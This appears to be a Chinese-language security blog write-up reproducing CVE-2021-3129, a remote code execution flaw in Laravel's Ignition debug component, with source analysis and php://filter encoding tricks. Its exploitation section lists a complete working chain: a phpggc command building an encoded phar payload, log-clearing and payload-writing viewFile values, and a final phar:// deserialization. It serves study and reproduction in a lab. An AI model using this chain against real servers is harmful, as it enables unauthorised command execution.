CVE-2021-3129

Laravel <= 8.4.2

Ignition <= 2.5.1

环境搭建

在kali2020下复现

1
2
3
4
5
6
7
8
9
git clone https://github.com/laravel/laravel.git	# 下载laravel源码
cd laravel # 切换到laravel目录
git checkout -b e849812 # 切换到存在漏洞的分支
composer update # 更新composer
composer install # composer安装依赖
composer require facade/ignition==2.5.1 # 下载存在漏洞版本组件
mv .env.example .env # 更改.env文件
php artisan key:generate # 生成Application key
php artisan serve # 启动服务器

创建resource/views/hello.blade.php模板

1
2
3
4
5
<html>
<body>
<h1>hello, {{ $username }}</h1>
</body>
</html>

routes/web.php中添加路由

1
2
3
Route::get('/hello', function () {
return view('hello');
});

漏洞原因

在修正未定义变量时存在一处file_get_contents()和一处file_put_contents()函数的第一参数可控,且在laravel中我们可以往log文件插入部分可控内容,且我们对log文件具有可写权限,导致我们可以通过把log文件覆写为phar文件,再通过phar反序列化实现命令执行

漏洞分析

调用栈分析

访问新添加的路由/laravel/public/hello会抛出变量名未定义的错误,出现了一个按钮并提示按样例修改模板

image-20210525133932073

点击Make variable optional按钮并抓包,发生漏洞的接口就是在/laravel/public/_ignition/execute-solution这里,可以看到这里传入了viewFile参数对文件进行操作

image-20210525141459623

通过在源码搜索execute-solution可以搜索到Web接口,可以看到ExecuteSolutionController类对象被当成函数调用,所以最终会触发其__invoke()函数

1
2
3
4
5
6
namespace Facade\Ignition;
class IgnitionServiceProvider extends ServiceProvider
{
Route::post('execute-solution', ExecuteSolutionController::class) // 调用__invoke()函数
->middleware(IgnitionConfigValueEnabled::class.':enableRunnableSolutions')
->name('executeSolution');

我们跟进一下它的__invoke()函数,第一步是初始化变量,第二部就是处理参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
namespace Facade\Ignition\Http\Controllers;
class ExecuteSolutionController
{

public function __invoke(
ExecuteSolutionRequest $request,
SolutionProviderRepository $solutionProviderRepository
) {
$solution = $request->getRunnableSolution();

$solution->run($request->get('parameters', [])); // 跟进参数处理函数

return response('');
}
}

根据run()函数,我们看到了file_put_contents()函数的第一个参数可控,我们还得跟进一下makeOptional()函数

1
2
3
4
5
6
7
8
9
10
namespace Facade\Ignition\Solutions;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
public function run(array $parameters = [])
{
$output = $this->makeOptional($parameters);
if ($output !== false) {
file_put_contents($parameters['viewFile'], $output); // file_put_contents()的第一参数可控
}
}

在这里我们又看到了file_get_contents()函数第一个参数可控,后面就是修正操作,即为模板中的未定义变量添加一个判断条件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
namespace Facade\Ignition\Solutions;
class MakeViewVariableOptionalSolution implements RunnableSolution
{
public function makeOptional(array $parameters = [])
{
$originalContents = file_get_contents($parameters['viewFile']); // file_get_contents()的第一参数可控
$newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

$originalTokens = token_get_all(Blade::compileString($originalContents));
$newTokens = token_get_all(Blade::compileString($newContents));

$expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

if ($expectedTokens !== $newTokens) {
return false;
}

return $newContents;
}

所以我们可以把上面的代码浓缩为下面两行,简称先读后写

应该有好些不知名CMS都有这么写过

1
2
$output = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $output);

日志部分可控

另外,我们可以对laravel的日志文件插入部分可控内容,默认目录是storage/logs/laravel.log

比如当我们传入

1
viewFile: This is the controlled part

我们可以发现laravel.log文件中出现了报错信息,其中有两处This is the controlled part字段,同时还有一处带省略号的(提前警告这是个坑)

1
2
3
4
[2021-05-27 13:08:30] local.ERROR: file_get_contents(This is the controlled part): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(This is the controlled part): failed to open stream: No such file or directory at xxxxxx\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\\Foundation\\Bootstrap\\HandleExceptions->handleError(2, 'file_get_conten...', 'xxxxxx...', 75, Array)
#1 xxxxxx\\laravel\\vendor\\facade\\ignition\\src\\Solutions\\MakeViewVariableOptionalSolution.php(75): file_get_contents('This is control...')

它的大体结构如下面所示

1
[label1] payload [label2] payload [label3]

php://filter

官方文档:https://www.php.net/manual/zh/filters.php

所以我们的核心问题变成了如何向log文件写入一个合法的phar文件,这里我们需要利用到强大的php://filter,我们可以利用特别的编码和解码方法来对我们插入的内容进行修改

清空文件

第一个思路是我们可以用base64在解码时会自动丢弃无效字符的方法进行清空,所以按理来说只要我们多次对内容进行base64解码,那么最终就会把所有字符丢弃

1
php://filter/read=convert.base64-decode|convert.base64-decode|convert.base64-decode/resource=../storage/logs/laravel.log

但是如果文本当中出现'='字符,base64-decode会抛出错误导致写入失败

所以**@CHARLES FOL**使用到的是php内置的官方文档未提及的consumed过滤器,可以直接返回空

1
php://filter/read=consumed/resource=../storage/logs/laravel.log

自己尝试了一下如果服务器的php支持zlib或者bzip2的话,也可以利用解压失败返回空的性质进行清空

1
2
php://filter/read=zlib.inflate/resource=../storage/logs/laravel.log
php://filter/read=bzip2.decompress/resource=../storage/logs/laravel.log

写入payload

php://filter中有一个很好用的转换过滤器iconv.utf16le.utf-8,它能够把UTF-16字符转化为UTF-8字符,样例如下:

1
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0[midfix]P\0A\0Y\0L\0O\0A\0D\0[Some suffix ]' > /tmp/test.txt
1
2
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
# 卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

既可以传入我们完整的payload,又可以让其他正常字符转为无效字符,之后我们直接base64-decode即可写入payload

为了只留下一个payload字段,我们可以在payload的末尾添加一个byte的字符进行干扰即可,如:

1
echo -ne '[Some prefix ]P\0A\0Y\0L\0O\0A\0D\0X[midfix]P\0A\0Y\0L\0O\0A\0D\0X[Some suffix ]' > /tmp/test.txt
1
2
php -r "echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');"
# 卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

相应的限制条件是:

  1. 保证第一个payload字段前面的字符串长度是2*n bytes,不然无法解码出payload
  2. 保证整个字符串的总体长度是2*n bytes,不然会抛出以下错误file_get_contents(): iconv stream filter ("utf16le"=>"utf-8"): invalid multibyte sequence

解决方案:

  1. 因为日志文件部分内容可控,我们可以把前面的内容刚好填充到2*n bytes
  2. 可以用同一种方法,也可以选择把payload复写两次

写入0字节

最后一个问题就是我们无法向日志写入\0字节,这时候我们又可以用到一个转换过滤器convert.quoted-printable-decode

官方说明

1
quoted_printable_decode ( string $str ) : string

该函数返回 quoted-printable 解码之后的 8-bit 字符串 (参考 » RFC2045 的6.7章节,而不是 » RFC2821 的4.5.2章节)

格式

(General 8bit representation) Any octet, except a CR or LF that is part of a CRLF line break of the canonical (standard) form of the data being encoded, may be represented by an “=” followed by a two digit hexadecimal representation of the octet’s value. The digits of the hexadecimal alphabet, for this purpose, are “0123456789ABCDEF”. Uppercase letters must be used; lowercase letters are not allowed. Thus, for example, the decimal value 12 (US-ASCII form feed) can be represented by “=0C”, and the decimal value 61 (US- ASCII EQUAL SIGN) can be represented by “=3D”. This rule must be followed except when the following rules allow an alternative encoding.

简单来说就是将格式为"=<hex>"的字符串转发为对应ascii的字符串,所以我们可以将空字节编码为"=00"传入

所以最终我们写入payload方法为

1
php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log

生成payload

payload的生成我们可以反序列化工具phpggc

https://github.com/ambionics/phpggc

1
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | sed -E 's/=+$//g' | sed -E 's/./\0=00/g'

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
# 使用phpggc创建payload,注意这里最后添加了一个'=00',用来屏蔽第二处payload回显
php -d 'phar.readonly=0' ./phpggc monolog/rce1 system id --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper() + '=00')"
# 清空log文件
viewFile: php://filter/read=consumed/resource=../storage/logs/laravel.log
# 传入字符使文本对齐,这里可传入任意文本
viewFile: tyao
# 传入payload
viewFile: =50=00=44=00=39=00=77=00=61=00=48=00...
# 解码payload
viewFile: php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log
# phar反序列化
viewFile: phar://../storage/logs/laravel.log

坑点

  1. 如果传入的是形如P=00D=009=00w=00...的payload,倒数第二部有可能会产生quoted-printable-decode解码错误,原因如下,有一处省略的地方出现了"=0."字符串导致解码失败,解决方法是将首字符'P'也进行编码就可以对齐了,懒人方法就是将所有字符进行编码 : >

    image-20210528024447449

  2. windows下复现失败了,因为是只要在base64的payload中存在'='时,使用convert.base64-decode过滤器会报错返回空

  3. 针对第二种情况,我们将payload的命令进行填充至无'='出现,但是phar协议反序列化时会报phar文件签名错误,大概率是因为phpggc只能在Linux下使用

    1
    failed to open stream: phar &quot;xxxx\\laravel\\storage\\logs\\laravel.log&quot; has a broken signature"
  4. 如果想要在windows复现估计得重新写一个序列化,为了不麻烦自己,还是在跑去虚拟机复现成功了

image-20210528114607301
  1. 失败的建议多打几次

参考

https://zhuanlan.zhihu.com/p/351363561

https://anquan.baidu.com/article/1286

https://www.ambionics.io/blog/laravel-debug-rce